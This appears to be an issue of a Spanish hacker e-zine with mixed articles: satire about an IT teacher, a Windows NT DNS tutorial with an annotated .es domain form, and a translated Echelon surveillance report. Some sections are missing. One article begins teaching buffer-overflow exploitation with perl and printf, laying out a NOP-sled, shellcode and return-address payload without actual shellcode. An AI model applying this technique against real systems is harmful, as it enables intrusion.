idea de escribir dos frases seguidas.. patetico.
Prueba 8:
^^^^^^^^^^^
Otra caracteristica son las paralisis cerebrales que le dan en medio de una
explicacion. Su duracion es variable, pero suelen oscilar entre 2 segundos y
10 segundos. Consiste en que el profesor esta explicando algo y en medio de
una frase se queda totalmente paralizado, pasan unos segundos de espera y
continua como sino hubiera pasado nada. Durante esos breves segundos esta
comprobado cientificamente que puedes hacer absolutamente de todo, ya que el
individuo se encuentra en una profunda paralisis total y no se dara cuenta
de nada de lo que ocurra a su alrededor.
Nota: aunque en medio de la paralisis te entren unas ganas enormes de
decirle: "pero despierta gilipollas!", esto no es recomendable ya que podria
causarle unos daos cerebrales importantisimos e irreparables, tomeselo con
calma y espere a que se le pase la paralisis. Si ve que pasan unos cinco
minutos y continua en el mismo estado puede ser debido a dos cosas: una que
se haya muerto debido a un coagulamiento del cerebro al intentar pensar mas
de lo le es fisicamente posible, y la segunda que siga pensando y no termine
de encontrar la solucion, en este caso de vez en cuando se le oira balbucear
cosas por lo bajo (mm..eh!..mm..eh!..eh!).
Prueba 9:
^^^^^^^^^^^
Esta cualidad suele darse bastante a menudo y es bastante definitoria. Me
estoy refiriendo a la pinta de borracho perdido que suele tener el
individuo, la cual te hara dudar muchas veces si realmente esta borracho
cuando llega a clase o solo lo parece. Esta prueba suele acompaarse de
equivocos continuos a la hora de intentar vocalizar una palabra compleja, y
un continuo efecto de tartamudeo, de forma que si a esta prueba le sumas
todas las anteriores tienes ante ti a un ser sumamente extrao.
Prueba 10:
^^^^^^^^^^^
Y la ultima prueba es la de los dibujitos. El individuo tiene que
hacer todo lo posible para perder horas de clase, ya que sino se queda sin
nada que explicar. Esto es debido a que lo que tiene que dar en clase lo
estudia el dia anterior en casa, y si llega al final de lo que habia
estudiado se queda en blanco, cosa que le dejaria aun mas en ridiculo
delante de la clase (tarea practicamente imposible debido al ridiculo diario
que realiza). Pues bien, una de sus tacticas preferidas para perder tiempo
son los dibujitos en la pizarra. Si tiene que dibujar un monitor, un boli,
un elefente, o una hormiga, el se lo tomara con toda la calma del mundo, e
intentara hacer el dibujo lo mejor posible, incluso a veces aadiendole
vistas en 3D, im-presionante. A la vez que va dibujando suele ir haciendo
unas muecas horribles con la cara, con las que tu te empiezas a descojonar y
ya no sabes que hacer para parar de reirte. Si te ocurre esto puedes probar
a morderte la lengua o a descojonarte abiertamente, total el profe es tan
sumamente "lelo" que nunca creera que te estas riendo de el.
Conclusion:
^^^^^^^^^^^^
Como habreis podido comprobar este texto esta escrito en un tono un tanto
ironico. Y es que no hay instituto o universidad en el que no haya algun
elemento de estos, lo que te hace preguntarte si los fondos publicos no
llegaran para contratar autenticos profesionales, en vez de profesores de
matematicas reformados por medio de un curso de 100 horas, despues del cual
se creen que estan capacitados para dar clases de informatica. A mi este
ao me esta tocando vivir uno de estos "especimenes" en mis propias carnes,
la verdad es que es no es mal tio del todo.. lo bueno de sus clases es que
te ries sin parar. Pero vamos.. los institutos, sobre todo, deberian
tomarse sus asignaturas de informatica un poco mas en serio y contratar a
autenticos profesores CUALIFICADOS.
Un saludo a tod@s y hasta otra.
RaiSe
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Indice:
1.- Introduccion
2.- Estructura del DNS
3.- Solicitud de DNS y proceso de busqueda
4.- Instalacion
5.- Configuracion y alta de dominios en el DNS Manager
6.- Propiedades del DNS
7.- Duda retorica
8.- NSLookup
9.- Ejemplo de alta de un dominio '.es' en nic.
10.- Bibliografia
1.- Introduccion
Caso 1:
(1)
Cliente -------------------------------> Servidor DNS
|<---------------<-----<---------<-------|
(2)
En este caso, el cliente pide a el servidor DNS que tenga configurado que le
resuelva un host (Paso 1). Luego el servidor de DNS devuelve al cliente si
existe o no ese host y con que IP (Paso 2).
Caso 2:
(1)
Cliente -------------------------------> Servidor DNS
|<---------------<-----<---------<-------| |
(3) |(2)
|
Root Server
En este otro caso, el cliente pide a el servidor DNS que tenga configurado
que le resuelva un host (Paso 1). Luego el servidor de DNS ve que no lo
tiene en su 'cache' y manda la solucitud a un Root Server, que le devolvera
si existe o no el dominio y con que IP, pero ademas lo guardara en su
'cache' para no tener que acudir a un Root Server la proxima vez que le
pregunten por ese mismo host (Paso 2). Acto seguido, el servidor de DNS
devuelve al cliente si existe o no ese host y con que IP (Paso 3).
4.- Instalacion
Lo primero que tienes que hacer es tener configurado en el protocolo TCP/IP
el nombre de tu PC y Dominio, y en dns pon tu ip (puesto que tu seras
servidor de dns). Luego tienes que agregar el servicio de DNS y para ello te
vas al panel de control, entorno de red, services, agregar, DNS.
Una vez agregado tendras que reiniciar la maquina. Una vez reiniciado, es
aconsejable que vuelvas a instalar el ultimo Service Pack que tuvieras
metido, para asegurarte de que todo funcionara bien (y reinicias de nuevo).
Una vez echos todos estos pasos ya estamos listos para comenzar a usar el
servidor de DNS.
Cuando estemos aadiendo los "record" nos dara la opcion de aadir un PTR,
que sale sealada por defecto. No se trata de otra cosa que de una DNS
inversa. (tendriamos que crear nosotros la zona)
Ejemplo: IP: 192.168.1.2
DNS Inversa: 1.168.192.In-addr.arpa
Os comento cierta duda que tengo del dns maganer.. vereis, al dar de alta un
dominio, por ejemplo codex.es no me da la posibilidad de crear un registro
tipo A llamado codex.es de forma que si hiciera un ping codex.es me
devolviera la ip que se le dijera.
Ej:
codex.es A 212.79.133.40
www A 212.79.133.40
ftp A 212.79.133.40
Esto si se puede hacer con el DNS Manager del W2K. Bien, estuve pensando un
poko y lo que hice fue crear una nueva zona que se llamara ' es ' en la cual
me mete directamete todos los dominios 'es' que tuviera y una vez ahi,
creaba un registro tipo A a codex.es y si me lo permitia.
Ej:
212.79.133.40
|
|- codex.es
|- pepito.es
|
|- es
| |- codex
| |- pepito
|
Bien, como he dicho antes, asi si me permite crear el ' codex.es A
212.79.133.40 ' pero claro, no resuelvo los dominios 'es', con lo cual pues
mi gozo en un pozo.. mi sorpresa fue cuando borre la zona 'es' porque en
codex.es se habia quedado el registro tipo A ( codex.es A 212.79.133.40 )
Si edito el archivo c:\winnt\system32\dns\codex.es.dns me aparece lo
siguiente:
7.- NSLookup
Aqui os pongo un ejemplo del formulario que hay que rellenar y mandar por
e-mail para dar de alta un domio 'es' en http://www.nic.es
Nota: Todo lo que vaya entre ' /* texto */ ' son comentarios mios
aclaratorios.
/* Conviene dar de alta el dominio en el servidor DNS de la makina y luego
mandar la solicitud. Cuando se mande el formulario, hay que hacerlo en
'Plain Text' */
------8<------------- Cortar por aqui (No enviar esta linea) -------------
FSE Version: 1.0
SECCION 0 - Tipo Solicitud
0a. Accion a efectuar
(N|CR|B|CD)..................: N
0b. Estado Dominio (para N, CR o CD)
(R|D|MX).....................: R
0c. Dominio a expirar (para CD)..: .es
SECCION 1 - Dominio Objeto de Registro
1. Nombre Dominio...............: codex.es
SECCION 2 - Organizacion Usuaria del Nombre de Dominio /* Solo permite
registrar marcas registradas o acronimos.*/
2a. Nombre Organizacion Completo.:
2b. Forma Juridica...............:
2c. N.I.F........................: 45710999-K /* DNI con la letra del NIF */
2d. Fecha de Constitucion........: 19790320 /* ao mes dia (todo junto)*/
2e. Domicilio (Calle,No...)......:
2f. Domicilio (Municipio)........:
2g. Domicilio (Cod. Postal)......: E-41010 /* el 'E-' debe mantenerse*/
2h. Domicilio (Provincia)........:
2i. Domicilio (Pais).............: SPAIN
SECCION 3 - Para Nombre de Dominio Asociado a Marca Registrada en lugar de al
Nombre Oficial de la Organizacion
3a. Marca Registrada en OEPM.....: /* nombre de la marca */
3b. Numero Inscripcion en OEPM...: /* el nuemero que sea. Ej: 23458790/X */
3c. Fecha de Concesion...........: /* ao mes dia (todo junto) */
SECCION 4 - Persona de Contacto Administrativo
4a. NIC Handle...................: /* es un codigo. hay que dejarlo en
blanco. una vez registrado el dominio
nos dan el NIC handle y para el proximo
dominio que queramos registrar solo
tenemos que poner ese codigo, sin
necesidad de rellenar el resto de los
datos */
4b. Nombre y Apellidos...........:
4c. Nombre Organizacion Completo.: /* lo mismo que hemos puesto en '2a'.
EXACTAMENTE IGUAL. */
4d. Nombre Departamento..........:
4e. Cargo........................: /* conviene poner al gerente o director
de la empresa, ya que es la persona
que figura en las escrituras. */
4f. Direccion (Calle,No...)......: /* la direccion de la empresa, no la del
gerente o director. */
4g. Direccion (Municipio)........:
4h. Direccion (Cod. Postal)......:
4i. Direccion (Provincia)........:
4j. Direccion (Pais).............: SPAIN
4k. E-mail.......................: /* usuario@nombredominio.es Hay que
hacerlo, sino te lo rechazan. */
4l. Numero Fax...................: +34 5 54340158 /* Formato: +34 5 54340158
(el primer n del prefijo
no se pone. En el caso de
ser Sevilla, el '9' del
'954' no se pone) */
4m. Numero Telefono..............: +34 5 54340158 /* Igual que en el '4l' */
SECCION 5 - Persona(s) de Contacto Tecnico /* Datos de la empresa proovedora
(ISP). */
5a. NIC Handle...................: /* Si es el primer registro de dominio
hago pues no tengo Nic Handle y tengo
que rellenar los otros datos. En caso
de tenerlo solo rellenariamos el '5a'
*/
5b. Nombre y Apellidos...........:
5c. Nombre Organizacion Completo.: /* Nombre del Proovedor */
5d. Nombre Departamento..........:
5e. Cargo........................:
5f. Direccion (Calle,No...)......:
5g. Direccion (Municipio)........:
5h. Direccion (Cod. Postal)......:
5i. Direccion (Provincia)........:
5j. Direccion (Pais).............:
5k. E-mail.......................:
5l. Numero Fax...................:
5m. Numero Telefono..............:
SECCION 6 - Persona de Contacto Facturacion /* Datos de la persona que pagara
la factura. */
6a. NIC Handle...................: /* Si ya tenemos no hace falta rellenar el
resto */
6b. Nombre y Apellidos...........:
6c. Nombre Organizacion Completo.: /* El mismo que en la seccion 5.*/
6d. Nombre Departamento..........:
6e. Cargo........................:
6f. Direccion (Calle,No...)......:
6g. Direccion (Municipio)........:
6h. Direccion (Cod. Postal)......:
6i. Direccion (Provincia)........:
6j. Direccion (Pais).............:
6k. E-mail.......................:
6l. Numero Fax...................:
6m. Numero Telefono..............:
6n. N.I.F. (Organizacion en 6c)..:
SECCIONES 7 Y 8 - Para Delegacion de Zona Asociada al Dominio
7a. Nombre Servidor Primario.....: /* nombre del servidor de DNS.
Ej: ns1.arrakis.es*/
7b. Direccion IP S. Primario.....: /* la IP */
8a. Nombre Servidor Secundario...: /* nombre del servidor de DNS.
Ej: ns2.arrakis.es*/
8b. Direccion IP S. Secundario...: /* la IP */
SECCION 9 - Para Registro(s) MX asociado(s) al Dominio
9a. Nombre Estafeta E-mail SMTP..: /* Esto dejarlo en blanco. */
SECCION 10 - Proveedor(es) de Servicio de Acceso a Internet
10. Acronimo de Proveedor........: /* Ej: arrakis o interbook o supercable
... */
/* Despues de esto aparece el tipico texto en el que nos ponen los
'requisitos' y 'deberes' para la aceptacion del dominio. */
------8<------------- Cortar por aqui (No enviar esta linea) -------------
9.- Bibliografia
-- |CoDeX| -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- --
-- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Holas. Como podreis ver a partir de este numero del Ezine hemos decidido
incluir una nueva seccion, la cual estais leyendo ahora :). Con esta seccion
intentaremos acercar un poco mas el mundo hispano de la seguridad
informatica en general, asi como ayudar a que todos nos conozcamos un poco
mejor. Resumiendo, la seccion constara de un articulo a modo de 'entrevista'
con algun personajillo de este mundillo ;). Puede que a alguna gente no le
guste que en el Ezine se incluya un apartado de este tipo.. Yo personalmente
siempre vi muy interesante el hecho de conocer un poco a mas a la gente;
cosas como sus comienzos.. sus opiniones.. etc. Por lo tanto, si el unico
motivo para no incluir esta seccion era que otro Ezine que todos conocemos
la habia sacado primero.. que quereis que os diga?.. no lo veo una razon de
peso ni mucho menos. Asi que nada.. tenemos nueva seccion ;). Bueno.. y
ahora que hemos aclarado algunas dudas empecemos con la seccion en si.
En este numero conoceremos un poco mas a aViNash, uno de los miembros
fundadores del antiguo 2500Hz (http://pagina.de/2500Hz), y miembro actual de
dSR, Digital Security Research (http://www.digitalsec.net). La entrevista
fue realizada en el irc por RaiSe, o sea yo ;). Aqui la teneis..
Pues nada, eso es todo, solo saludar desde aqui a avi y darle las gracias
por permitirnos esta 'entrevista' ;). Un saludo a tod@s.
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Mucha gente se estara preguntando: como? estas loco? pues no no estoy loco
y resulta que para poder explotar un buffer overflow ni muchisimo menos hay
que tener grandes conocimientos ni en C ni en ensamblador(para saber lo que
se hace si, hay una diferencia entre explotarlo y saber lo que estas
haciendo), solo hay que ser un poco pillo. La mayoria de la gente tambien se
preguntara ahora: bah!! esto no lo voy a necesitar en la vida... imaginate
que estas en un sistema en el cual no hay compilador, por lo que no vas a
poder compilar el codigo que normalmente viene en C! mucha gente se
preguntara que hago? otros diran muy facil con perl!! Si exacto con perl y
la sintaxis es muy sencilla, basta con hechar un ojo al man de perl. Perl
tiene una opcion -e que permite ejecutar comandos desde el interprete de
comandos(la shell), por lo que esta opcion nos va a ser de gran ayuda a la
hora de colocar nop's.
La direccion de retorno y la shellcode la colocaremos a mano con printf y lo
podemos hacer de dos formas: o bien directamente o bien pasando miembro a
miembro de nuestro buffer formateado a las variables de entorno. Las
variables de entorno son como su nombre indica variables que tenemos
disponibles en una sesion y podemos ver las que hay en el sistema en un
momento determinado usando el comando set. Como se declara una variable de
entorno? si estamos utilizando tanto el shell bash como sh podremos utilizar
el comando export, su sintaxis es: export nombre_variable_de_entorno=valor,
una vez declarada la variable de entorno la tenemos a nuestra disposicion en
esa sesion colocando el signo de dolar($) y acontinuacion el nombre de la
variable de entorno, por ejemplo:
[kekabron@info b0f]$ export variable=hola
[kekabron@info b0f]$ set | grep variable
variable=hola
[kekabron@info b0f]$ echo $variable
hola
La sintaxis de printf es tambien muy sencilla y esta tambien en el
interprete de comandos, es un comando mas igual que perl, no es ninguna
funcion de C ni nada por el estilo. Para imprimir una cadena utilizaremos
printf de esta forma:
[kekabron@info b0f]$ printf "\x48\x4f\x4c\x41\n"
HOLA
Como habeis podido comprobar ahora he introducido HOLA pero de una manera un
tanto particular: he utilizado la nomenclatura hexadecimal en vez de la
decimal para que cuando pongamos una direccion de retorno la metamos asi,
pero en vez de al derecho como hemos hecho con HOLA, lo he puesto al reves.
Esto es porque la pila tiene una estructura un tanto extraa y hay que
colocar las direcciones al reves.
Nuestro buffer formateado al pasarlo al programa tendra la siguiente
estructura: [ muchos nop's ] [ shellcode ] [ ret ] [ ret ].
nop = no operation, con esto hacemos que se vaya saltando por la memoria
hasta llegar a la shellcode. Digamos que rellenan el buffer y no
hacen nada.
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
========================
0. ANTES DE EMPEZAR...
========================
En el presente articulo, asi como en los siguientes de esta serie
para el NetSearch e-zine, se pretende dar a conocer las dimensiones de
Echelon, la mas grande y poderosa red de espionaje jamas concebida.
En primer lugar, quisiera dejar claro que este documento NO es
original del aqui firmante (aka Pope). Se trata simplemente de una traduccion
del texto en ingles, que puede encontrarse en
http://fly.hiwaay.net/~pspoole/echelon.html . En esta web, el autor original
mantiene un estupendo conjunto de recursos acerca de Echelon: enlaces,
noticias de prensa, publicaciones, informes oficiales, etc. Por tanto, el
merito por la informacion aqui incluida corresponde al autor original de la
web (Patrick S. Poole, pspoole@hiwaay.net), aunque cualquier error que se
encuentre en la traduccion o el contenido sera probablemente cosa mia ;).
Debido a la extension del texto, he decidido dividirlo en dos partes.
En vuestras manos teneis la primera, y en ella encontrareis la justificacion
historica del Proyecto Echelon, asi como una completa descripcion de la
infraestructura en que se apoya. Para el proximo numero os reservo los
antecedentes de espionaje (politico, comercial, etc.) en EE.UU. que han
desembocado en Echelon, asi como los anteriores proyectos que han
"justificado" estas violaciones de los derechos humanos...
=================
1. INTRODUCCION
=================
Este documento es un analisis del Proyecto Echelon, la red de
espionaje mas importante del mundo, sostenida principalmente por el gobierno
de los Estados Unidos, y apoyada por el Reino Unido, Canada, Nueva Zelanda y
Australia. En las proximas paginas comentaremos los conflictos legales que
plantea el Proyecto, e intentaremos profundizar en sus bases tecnicas.
El principal problema que plantea este trabajo es la falta de
informacion oficial sobre el tema: al tratarse de un proyecto secreto, solo
conocemos los datos que periodistas e investigadores han arrojado sobre este
tema despues de aos de estudio. En Internet se puede encontrar mucha
informacion sobre Echelon, pero al ser un asunto polemico, es dificil saber
que es cierto y que es exageracion. Por mi parte, intentare ceirme solo a
informacion respaldada por publicaciones y fundamentada.
Aunque el principio de la historia puede resultar un poco confusa la
maraa de pactos y alianzas entre gobiernos, se ha tratado de explicar cada
punto, de manera que sea factible comprender el Proyecto Echelon dentro de su
marco historico-temporal.
=============
2. HISTORIA
=============
Echelon se concibe como el mas importante proyecto de monitorizacion
jamas llevado a cabo, y constituye la red de espionaje mas potente del mundo.
Segun un informe preliminar [1] del Parlamento Europeo (con fecha de enero de
1.998), Echelon es "una red de espionaje que monitoriza rutinariamente
comunicaciones por telefono, fax y email de ciudadanos de todo el mundo, pero
particularmente en Japon y la Union Europea". La publicacion del informe se
reflejo, al menos, en un importante medio de los EEUU, el New York Times [2].
2.1. Antecedentes
-------------------
La victoria de los Aliados en la II Guerra Mundial se debio en gran
parte a su capacidad de recopilar informacion de los servicios de
inteligencia enemigos y descifrar esta informacion. A esto hay que aadir que
los Aliados disponian a su vez de mejores sistemas de encriptacion, que
permitian a sus datos viajar de forma segura.
Pero al acabar la Guerra surgia una nueva potencia, la Union
Sovietica, que se convertiria en el centro de atencion de los servicios de
inteligencia; estos debian asegurar el balance de poderes en la Tierra.
Durante 40 aos se han desarrollado sistemas cada vez mas potentes,
desembocando en lo que ahora se conoce como Proyecto Echelon.
La base burocratica del Proyecto es la Alianza UKUSA, que partio de
otra alianza, BRUSA, que nacio a su vez en los primeros dias de la Guerra
Fria y fue ratificada el 17 de mayo de 1.943 por los EEUU y el Reino Unido
[4]. En 1.946-47 se suscribe la Commonwealth SIGINT Organization, alianza de
los servicios de inteligencia de posguerra del Reino Unido, Canada, Australia
y Nueva Zelanda [5]. En 1.947, la alianza UKUSA (aun hoy secreta) definio las
relaciones entre los departamentos de inteligencia de los distintos
gobiernos. Otros pactos entre estos paises y el gobierno de EEUU profundizan
en estas relaciones.
[4] "The ties that bind: Intelligence cooperation between the UKUSA
countries" ("Lazos fuertes: cooperacion de inteligencia entre los paises de
UKUSA"), Desmond Ball y Jeffrey Richelson. Boston: Allen & Unwin, 1.985. Pp.
137-138.
http://www.amazon.com/exec/obidos/ASIN/0045200092/qid=909414912/sr=1-11/002-3
166366-4403036
[5] idem, pp. 142-143.
Por encima de estas organizaciones aparece la Agencia de Seguridad
Nacional de EEUU, NSA, que se centra en los intereses de los norteamericanos,
y que se definio como "la primera parte del tratado UKUSA". El GCHQ
(Government Communications Headquarters, cuartel general de comunicaciones
del gobierno britanico) suscribio la alianza UKUSA por parte del Reino Unido
y sus aliados de la Commonwealth SIGINT, lo que incluyo en el pacto al
Consejo de Administracion de Transmisiones de Defensa (DSD, Defense Signals
Directorate) de Australia, las Fuerzas de Seguridad para las Comunicaciones
(CSE, Communications Security Establishment) canadienses, y el Departamento
de Seguridad para las Comunicaciones del Gobierno (GCSB, Government
Communications Security Bureau) de Nueva Zelanda. Estos paises estan tambien
unidos entre si por otros tratados, y se les considera "la segunda parte del
tratado UKUSA". Hay terceras partes, que incluyen paises como Alemania,
Turquia, Japon, Noruega y Corea del Sur. Otras fuentes indican que China
podria estar tambien incluida en el tratado, con limitaciones [6].
[6] "Secret Power", p. 40. Ver nota [3].
2.2. NSA
----------
El principal beneficiario del pacto UKUSA es, sin lugar a dudas, la
Agencia de Seguridad Nacional de EEUU, la NSA. La mayor parte de los fondos
para proyectos comunes, asi como la direccion de operaciones de inteligencia,
se gestionan sobre todo desde la NSA. Las agencias del pacto suelen
intercambiar personal, repartirse el trabajo y establecer unos parametros
para clasificar y proteger informacion que comparten entre ellas. Por su
parte, la NSA utiliza su posicion de mayor agencia de espionaje del mundo
para dirigir a sus aliados internacionales.
La NSA nace de la mano del presidente Harry Truman en 1.952, por
orden de una directiva presidencial que aun hoy es secreta. De hecho, la
existencia de la Agencia no fue reconocida por el gobierno norteamericano
hasta 1.957. Su mision original era dirigir los departamentos de
Inteligencia de Transmisiones (SIGINT, Signals Intelligence) y de Seguridad
de Comunicaciones (COMSEC, Communications Security) en los EEUU. El
presidente Ronald Reagan aadio a estas tareas la seguridad de los sistemas
de informacion y la formacion en seguridad de operaciones, en 1.984 y 1.988
respectivamente. Asimismo, una ley de 1.986 encarga a la NSA el soporte a las
operaciones de combate del Departamento de Defensa [7].
[7] http://www.nsa.gov:8080/about
Con sede en Fort George Meade, entre Washington DC y Baltimore
(Maryland), la NSA dirige el equipo de instalaciones y personal de
inteligencia mas importante del mundo. Dan trabajo a un gran numero de
matematicos, entre ellos los mejores creadores y rompedores de codigos. El
trabajo de estos ultimos consiste en romper la encriptacion de sistemas de
comunicaciones electronicas que se construyan en el extranjero o dentro de
EEUU; los mensajes descifrados pasan al equipo de lingistas, que los
analizan en unos 100 idiomas diferentes. La NSA es responsable tambien de los
codigos que protegen las comunicaciones del gobierno estadounidense.
===================
3. LA RED ECHELON
===================
La red del Proyecto, fruto del pacto UKUSA, se extiende por todo el
planeta y mas alla, con estaciones terrestres de intercepcion, barcos en
todos los oceanos y satelites de alto secreto, que ayudan al control de la
NSA y los paises de UKUSA sobre las comunicaciones de todo el planeta. Muy
pocas seales escapan a este minucioso rastreo.
Los paises de la alianza UKUSA se han repartido el planeta, de forma
que cada uno se centra en las comunicaciones de una zona:
. La NSA de EEUU cubre todo el continente americano.
. El GCHQ del Reino Unido se ocupa de Europa, africa y la parte occidental
de Rusia (hasta los montes Urales).
. El DSD de Australia se centra en el sudeste de Asia, el sudeste del
oceano Pacifico y el este del oceano indico.
. El GSCB de Nueva Zelanda recoge seales en el sur del oceano Pacifico,
centrandose en las islas de esa zona.
. El CSE de Canada se ocupa de la intercepcion en el norte de Rusia y
Europa, y tambien cubre America [8].
[8] "The ties that bind", p. 143. Ver nota [4].
3.1. Instalaciones
--------------------
El punto fuerte de Echelon son las estaciones de recepcion masiva
dirigidas hacia los satelites INTELSAT e INMARSAT, responsables de la mayoria
de las comunicaciones internacionales e intercontinentales por telefono y
fax. Los 20 satelites INTELSAT giran en una orbita geoestacionaria sobre
puntos fijos del Ecuador [9]; se ocupan sobre todo de trafico civil, pero
tambien de informacion diplomatica y gubernamental de especial interes para
los paises de UKUSA.
[9] Las zonas de cobertura de los INTELSAT se pueden consultar en su web:
http://www.intelsat.com/cmc/connect/globalmap.htm
Originalmente solo hacian falta dos estaciones para interceptar las
comunicaciones por INTELSAT: Morwenstow (Inglaterra) y Yakima (Washington).
Pero los INTELSAT 5 fueron reemplazados por las series 701 y 703, con mayor
precision en la transmision que impedia que las seales del hemisferio sur
fueran captadas desde Yakima (hemisferio norte), asi que se ampliaron las
instalaciones en Australia y Nueva Zelanda [10].
[10] "Secret Power", p. 28. Ver nota [3].
Actualmente, la estacion de Morwenstow intercepta las seales de los
INTELSAT que se mueven sobre los oceanos Atlantico e indico, que transmiten a
Europa, africa y Asia occidental. La estacion de Yakima se centra en
comunicaciones a traves del oceano Pacifico en el hemisferio norte, asi como
en Oriente Medio. Otro centro de la NSA, en Sugar Grove (Virginia
occidental), controla todo el trafico del continente americano. Asia, los
paises del Pacifico sur y el oceano Pacifico se controlan desde una base del
DSD en Geraldton (Australia) y la estacion de Waihopai (Nueva Zelanda) del
GSCB. Otro centro en Isla Ascension (Oceano Atlantico, entre Brasil y Angola)
controla presuntamente las comunicaciones del oceano Atlantico en el
hemisferio sur [11].
[11] idem, p. 35.
El resto de los satelites (no INTELSAT) se monitorizan desde estas
estaciones, asi como desde bases en Menwith Hill (Inglaterra), Shoal Bay
(Australia), Leitrim (Canada), Bad Aibling (Alemania) y Misawa (Japon). Por
lo general los satelites llevan trafico regional y de Rusia [12]. Se sabe que
las instalaciones en Shoal Bay monitorizan algunos satelites de Indonesia, y
que la base de Leitrim intercepta las comunicaciones de satelites
latinoamericanos, entre ellos el satelite Morelos de la compaia telefonica
mejicana [13].
[12] idem
[13] "Un systeme de surveillance mondial" ("Un sistema de observacion
mundial"). Marco Campagna. Cahiers de Television (CTV-France), junio de
1.998.
http://www.mygale.org/06/alsb/Espionnage/UnSystemeDeSurveillanceMondial.html
Peter Hum, "I spy" ("Yo espio"), diario The Ottawa Citizen, 10 de mayo de
1.997.
Varias decenas de estaciones de recepcion de radio, pertenecientes a
los paises de UKUSA, pueblan la tierra, situadas por ejemplo en centros
militares. El papel de estas estaciones fue muy importante en los aos
previos al desarrollo de las comunicaciones por satelite, porque la mayoria
del trafico de informacion mundial se transmitia en frecuencias de radio. Las
comunicaciones por radio siguen siendo muy utiles a pesar de la extension de
los satelites, dada su capacidad para llegar a naves militares en mar y aire.
Dentro de territorios nacionales se utilizan tambien seales en VHF (Very
High Frequency, muy alta frecuencia) y UHF (Ultra High Frecuency, frecuencia
superior). Como estaciones de radio importantes de los paises UKUSA podemos
citar Tangimoana (Nueva Zelanda), Bamaga (Australia) y la base comun de la
NSA y el GCHQ en el atolon de Diego Garcia (oceano indico) [14].
[14] "Secret Power", pp. 35-36, 150; ver nota [3]. "The ties that bind", pp.
204-207; ver nota [4].
Una red aparte, de HFDF (High Frequency Direction Finding, busqueda
de direcciones en alta frecuencia) intercepta seales con el unico proposito
de localizar la posicion de barcos y aviones. Aunque no se dedican a analizar
el contenido de los mensajes interceptados, el papel de estos centros es
crucial a la hora de seguir objetivos militares moviles. El papel del CSE
canadiense en la red HFDF de UKUSA (nombre en clave: CLASSIC BULLSEYE) es muy
importante, pues aloja gran parte de las estaciones de los oceanos Atlantico
e indico que siguieron los movimientos de los buques y submarinos rusos
durante la Guerra Fria. Las estaciones van desde Kingston y Leitrim (Ontario)
hasta Gander (Newfoundland), para rastrear el oceano Atlantico; desde Alert,
en el punto mas al norte de Canada (oceano artico) se interceptan las
comunicaciones entre bases de submarinos rusos situadas en Petropavlovsk y
Vladivostok; por ultimo, desde Masset (Columbia britanica) se monitorizan
rutas maritimas y aereas bajo el mando de la NSA [15]. La CSE tiene tambien
un pequeo centro en la Base de las Fuerzas Aereas de Lackland, San Antonio,
Texas, que probablemente monitoriza las comunicaciones de objetivos
latinoamericanos.
[15] "Spyworld: How CSE spies on Canadians and the World" ("Mundo espia: como
la CSE espia a los canadienses y al mundo"). Mike Frost y Michael Graton.
Toronto: Seal / McClelland-Bantam, 1.995. p. 35.
http://www.bookexpress.com/prd.i/pgen/BookExpress/0L/display.book.html;isbn=
0770427073
Otra parte importante de la infraestructura de Echelon es la red de
satelites espia de EEUU, asi como las estaciones receptoras repartidas por
los paises de la alianza UKUSA. Estos satelites recogen el trafico terrestre
de ondas de radio, microondas y telefonia movil; fueron puestos en orbita por
la NSA, en colaboracion con sus agencias hermanas, la NRO (National
Reconnaisance Office, Oficina Nacional de Reconocimiento) y la CIA (Central
Intelligence Agency, Agencia Central de Inteligencia). La serie de satelites
Ferret en los aos 60; los Canyon, Rhyolite y Aquacade en los 70; los Chalet,
Vortex, Magnum, Orion y Jumpseat en los 80. Y finalmente, en los 90, los
avanzados Mercury, Mentor y Trumpet.
Estos satelites de observacion recogen comunicaciones electronicas,
conversaciones por telefono movil y diversas transmisiones de radio. Las
estaciones de enlace de bajada (downlink stations) que controlan el
funcionamiento y los objetivos de los satelites estan bajo control exclusivo
de los Estados Unidos, incluso aunque puedan estar situadas en otros paises.
Las dos bases principales se encuentran en Menwith Hill (Inglaterra) y Pine
Gap (Australia).
TABLA: Satelites espia de EE.UU. operativos en la actualidad [16]
-----------------------------------------------------------------
[16] "Spy satellites enter new dimension" ("Los satelites espia entran en una
nueva dimension"). MSNBC y NBC News, 8 de agosto de 1.998.
http://www.msnbc.com/news/185953.asp
Advanced KH-11
Cantidad: 3
Altura (km): 322
Fabricante: Lockheed Martin
Finalidad: Fotografia; resolucion: 13 cm
LaCrosse Radar Imaging
Cantidad: 2
Altura (km): 322-644
Fabricante: Lockheed Martin
Finalidad: Fotografia; resolucion: 1-4 m
Orion / Vortex
Cantidad: 3
Altura (km): 35888
Fabricante: TRW
Finalidad: Monitorizacion de telecomunicaciones
Trumpet
Cantidad: 2
Altura (km): 200-35888
Fabricante: Boeing
Finalidad: Monitorizacion de telefonia movil
Parsae
Cantidad: 3
Altura (km): 966
Fabricante: TRW
Finalidad: Monitorizacion oceanica
Satellite Data Systems
Cantidad: 2
Altura (km): 200-35888
Fabricante: Hughes
Finalidad: Retransmision de datos
Defense Support Program
Cantidad: 4+
Altura (km): 35888
Fabricante: TRW / AeroJet
Finalidad: Alerta de misiles
Defense Meteorologic Support Program
Cantidad: 2
Altura (km): 805
Fabricante: Lockheed Martin
Finalidad: Meteorologia y deteccion de detonaciones nucleares
----
Hasta aqui por hoy. Y lo dicho, en el proximo numero mas. De momento,
espero que con este documento hayais sacado una idea general de la
envergadura de este gigante, este Gran Hermano, que representa Echelon...
Para terminar, quisiera dar las gracias una vez mas a Patrick Poole,
el autor del texto original en ingles. Aqui podeis ver lo que me contesto
cuando le pedi permiso para escribir esta traduccion:
My sincere thanks for your offer, and let this email serve as
permission to do such. As you agreed, I would request that I be
given credit in the translation (understanding, of course, that you
would be named as the translator) and that you forward an
electronic copy to me once it is published.
